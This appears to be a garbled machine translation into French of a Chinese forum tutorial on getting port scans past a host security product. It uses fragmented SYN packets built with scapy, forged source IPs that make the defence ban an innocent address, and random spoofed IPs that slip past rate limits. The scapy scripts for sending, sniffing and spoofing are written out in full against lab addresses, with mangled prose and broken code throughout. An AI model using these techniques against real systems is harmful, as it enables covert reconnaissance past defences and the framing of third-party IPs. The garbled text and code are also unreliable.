Avant-propos 0x00

Dans une explosion faisant leurs outils de détection et d'attaque CC, je crois qu'il ya beaucoup de défauts, repenser la façon dont le chien est sans danger la défense, pour tenter de contourner le chien de sécurité. Ils ont également appris à utiliser les connaissances TCP / IP pour pratiquer une vague.

Procédé 0x01

Port balayage toute la série de temps de chien semi-connecté et relativement stable et sûr est un paquet TCP avec SYN a accepté le mécanisme de détection, si dans les 10 secondes un total de 200 mécanisme de défense sera déclenché, l'étanchéité de la propriété intellectuelle. Alors pensez à l'utilisation de la fragmentation, le paquet pour voir si elle est chien en toute sécurité serait tranche de restructuration, ainsi que ip faux est de savoir comment traiter.

Environnement: Linux, python2.7

Bibliothèque: scapy (Cette bibliothèque ne convient que pour l'apprentissage, ne prend pas l'environnement réel, la vitesse est trop lent, même pour le balayage du port sans état est intolérable)

paquet IP

Seulement pour la fragmentation en utilisant un port qui court-circuité. Comment le fragment, il est nécessaire de comprendre le format des adresses IP par paquets, l'en-tête IP de 20 octets est fixe, la tranche est plus préoccupé par:

Identification (identification): la même valeur que le champ d'identification respective de la feuille finale fragment de datagramme peut être recharger correctement le datagramme original.

Drapeau (Drapeaux) :. pour trois, comptabilisées mais seulement deux plus bas drapeau de terrain significatif niveau enregistré en tant que MF (Plus Fragment) .mf = 1 signifie que derrière « Il tranche » datagrammes = 0 .mf c'est le milieu représente le dernier d'un certain nombre de champ de drapeau de tranche de données appelée DF (Do not fragment), ce qui signifie « ne peut pas fragment », seulement lorsque DF = 0 si la fragmentation est autorisée.

Fragment Offset (Fragment offset): soit 13, longtemps après que les paquets fragmentés, la position relative d'une feuille dans le paquet d'origine est-à-dire le point de départ par rapport au champ de données d'utilisateur, où commencer la polarisation de substrat du film. déplacer vers le haut à l'unité de décalage de 8 octets, qui est la longueur de chaque fragment doit être de 8 octets (64 bits) nombre entier multiple.

D'autres, comme la somme de contrôle, la valeur ttl scapy sur leur propre traitement. Ici proto = 0x06 protocole est TCP, drapeaux = 0x01 être fragmenté, frag = 0,1,2 séquence fragment.

one_part_request = IP (dst = dst_ip, ttl = 49, drapeaux = 0x01, 0x06 = proto, id = packet_id, frag = 0) two_part_request = IP (dst = dst_ip, ttl = 49, drapeaux = 0x01, 0x06 = proto, id = packet_id, frag = 1) three_part_request = IP (dst = dst_ip, ttl = 49, drapeaux = 0x00, 0x06 = proto, id = packet_id, frag = 2)

les paquets TCP

Lors de la construction de paquets TCP, seulement vérifier et la structure est plus les points chauds. Je saisis directement de Wireshark saisir les premiers paquets de poignée de main,

. 1, en-tête supplémentaire une factice TCP / UDP est ajouté est calculée, le procédé comprenant la pseudo-en-tête: une adresse IP de source / destination de 32 bits, zéro padding de 8 bits, le numéro de protocole de 8 bits, et un 16bit la longueur des paquets TCP / UDP (en-tête + données)

2, deux champs de somme de contrôle doivent mettre 0x0000, avant data3 après deux octets et une somme de contrôle est déjà mis à zéro.

data1 = '\ XB2 \ \ x00 x00 x50 \ \ \ XD7 x23 \ \ XB8 xA9' data2 = '\ \ x00 x00 x00 \ \ \ x00 x50 x02 \ \ \ x04 x00' data3 = '\ \ x00 x00 \ x00 \ x00' PhDr = pseudo_header (one_part_request.src, one_part_request.dst, socket.IPPROTO_TCP, len (tcp_raw)) path_int = somme de contrôle (PhDr + tcp_raw) path_hex = Format (path_int, '04x') print (path_hex) data3 = path_hex.decode ( 'hex) + data3

les paquets TCP également construits si bon.

d'importation scapy.all * def pseudo_header (ip_src, ip_dst, ip_proto, longueur): « » " Retour d'un pseudo-tête selon RFC768 « » " # Préparer la représentation binaire de l'en-tête de pseudo struct.pack de retour ( "! 4s4sHH", inet_aton (ip_src), inet_aton (ip_dst), ip_proto, longueur) #data data1 = '\ XB2 \ \ x00 x00 x50 \ \ \ XD7 x23 \ \ XB8 xA9' data2 = '\ \ x00 x00 x00 \ \ \ x00 x50 x02 \ \ \ x04 x00' data3 = '\ \ x00 x00 \ x00 \ x00' dst_ip = '192.168.100.101' packet_id = random.randint (10000, 2 ** 16-1) tcp_raw = data1 + + data2 data3 # Définissez les paramètres pour ip paquet one_part_request = IP (dst = dst_ip, ttl = 49, drapeaux = 0x01, 0x06 = proto, id = packet_id, frag = 0) two_part_request = IP (dst = dst_ip, ttl = 49, drapeaux = 0x01, 0x06 = proto, id = packet_id, frag = 1) three_part_request = IP (dst = dst_ip, ttl = 49, drapeaux = 0x00, 0x06 = proto, id = packet_id, frag = 2) # Checksum Repleace dans data3 PhDr = pseudo_header (one_part_request.src, one_part_request.dst, socket.IPPROTO_TCP, len (tcp_raw)) path_int = somme de contrôle (PhDr + tcp_raw) path_hex = Format (path_int, '04x') print (path_hex) data3 = path_hex.decode ( 'hex) + data3 # Envoyer envoyer (one_part_request / Raw (data1), verbeux = False, return_packets = False) envoyer (two_part_request / Raw (données2), verbeux = False, return_packets = False) envoyer (three_part_request / Raw (data3), verbeux = False, return_packets = False)

Ce qui précède est plus complexe, parce que le paquet est scapy inconnu, la configuration suivante en utilisant des paquets tcp de scapy.

Utilisation du fragment construit scrapy

moniteur

Stateless scan, carte de surveiller les messages de retour, analyser si le port est ouvert, ce filtre est d'utiliser la syntaxe tcpdump.

d'importation scapy.all * iface = 'eth0' target_ip = '192.168.100.101' def prn (PKT): print (PKT .src + ":" + str (PKT .sport) + "ouvert") def listen_port (): sniff (iface = iface, filtre = 'tcp et l'hôte src% s et tcp = 18' % target_ip, prn = prn) listen_port ()

192.168.100.100 est une adresse IP du scanner, 192.168.100.101 est l'adresse IP cible.

Wireshark capture peut être vu que les trois transmettre un paquet IPv4, puis retourné à 192.168.100.101 paquet SYN + ACK.

Nos auditeurs écoutent également:

192.168.100.101:80 ouvert

Voir le paquet: car le paquet IP est inférieur à 60 octets, la couche de liaison est rempli avec une charge de 60 octets 0x00

ip source forgée 0x02

Les résultats peuvent également être falsifiés IP source, car sur le même segment de réseau, il est possible de faux IP. Le chien de sécurité directement pour résoudre l'intérieur du paquet IP comme un véritable ip ip.

erreur de fermeture IP

Parce que la contrefaçon ip, accès IP peut interdire l'installation d'un serveur sécurisé ce chien.

d'importation scapy.all * for i in range (1,1000): Envoyer (IP (src = "192.168.100.133", dst = "192.168.100.101") / TCP (sport = RandShort (), --dport = i), verbeux = False)

Le contournement de la limite de fréquence

d'importation scapy.all * Prise d'importation ip = socket.inet_ntoa (struct.pack ( ' > I », random.randint (1, 0xffffffff))) for i in range (435446): envoyer (IP (src = ip, dst = "192.168.100.101") / TCP (sport = RandShort (), --dport = i), verbeux = False)

la source forgée IP de temps, ou retournera à l'unité. Lorsque B reçoit le paquet A, la MAC directement A à B de la procédure de remplacement inverse. Le processus inverse, chaque étape est omise dans la requête ARP MAC saut suivant, car la table MAC a été établie. Par IP et le masque de sous-réseau n'a pas besoin de calculer si le même segment de réseau, afin de décider d'envoyer ou non IP ou acheminé directement. Donc forgé ip source, mais vous pouvez toujours recevoir des messages de retour, et le dossier de la sécurité est le chien qui a forgé ip.

Ip ci-dessus pour le même segment, s'il y a nat, devenir l'IP source et le port, de sorte que l'accès faux est aussi votre adresse IP réelle, et ne peut pas recevoir le paquet ne peut pas revenir, car il est la passerelle fous paquets arp cheveux, Recherchez ces ip faux, 192.168.100.2 dire à ces IP source fou forgé

référence

https://www.itread01.com/content/1504457779.html

calcul de la somme de contrôle TCP

https://github.com/secdev/scapy/pull/691/commits/10210cbe4ba2b1173c8eb3511cad1e296c696edd

Reproduit de: https: //bbs.ichunqiu.com/thread-48988-1-1.html

Les auteurs i id Spring: les utilisateurs de téléphones mobiles Y7LT5e